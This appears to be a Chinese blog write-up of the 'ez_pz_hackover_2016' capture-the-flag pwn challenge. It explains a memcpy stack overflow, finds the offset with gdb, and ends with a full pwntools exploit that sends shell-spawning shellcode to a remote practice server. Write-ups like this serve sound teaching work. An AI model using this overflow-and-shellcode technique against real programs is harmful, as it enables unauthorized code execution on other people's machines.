ez_pz_hackover_2016

很好的动调入门
image
其他函数用处不大,直接看到chall函数
fget函数可以接收最长1023个字节的字符串,但是不足溢出,完全不够
看到vuln函数
image
很合理了,通过memcpy完成溢出,够了。啊对了
image
checksec一下,是没有保护的,所以我们可以嘿嘿嘿。想办法用shellcode.
那好,shellcode往哪放还有返回地址是多少。

点击查看代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b*0x08048600')
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload='crashme\x00'+'asdasd'
io.sendline(payload)
pause()
这样可以开dbg,按c直接到断点。这个脚本是可以看到输入的s距离ebp到底有多远。确定大小嘛,不寒掺。这样就可以知道我们到底要填多少垃圾数据,ida里面静态编译这道题是错的。
点击查看代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b*0x08048600')
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload='crashme\x00'+'a'*18
payload+=p32(0)+asm(shellcraft.sh())
io.sendline(payload)
pause()
这个我们要确定的是返回地址 可以看到p32(0),这里是不知道地址,但是我们可以通过偏移量算出来。开局的printf给了s的地址。然后这里我们把shellcode放进去,再查下shellcode的位置就可以知道偏移。这是一个很好的方式。 用find jhh可以找到shellcode 最后,写脚本,这几个函数逻辑就是用crashme\x00可以完成对比和绕过 ![image](https://img2022.cnblogs.com/blog/2732567/202207/2732567-20220701203212334-1444478197.png) 最后在vual里完成溢出和shellcode的攻击就好了
点击查看代码
from pwn import*
#io=process("./ez_pz_hackover_2016")
io=remote("node4.buuoj.cn",26290)
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
shellcode=asm(shellcraft.sh())
payload='crashme\x00'+'a'*18+p32(s_addr-28)+shellcode
io.sendline(payload)
io.interactive()
posted @ 2022-07-01 20:33  REPWNER  阅读(30)  评论(0)    收藏  举报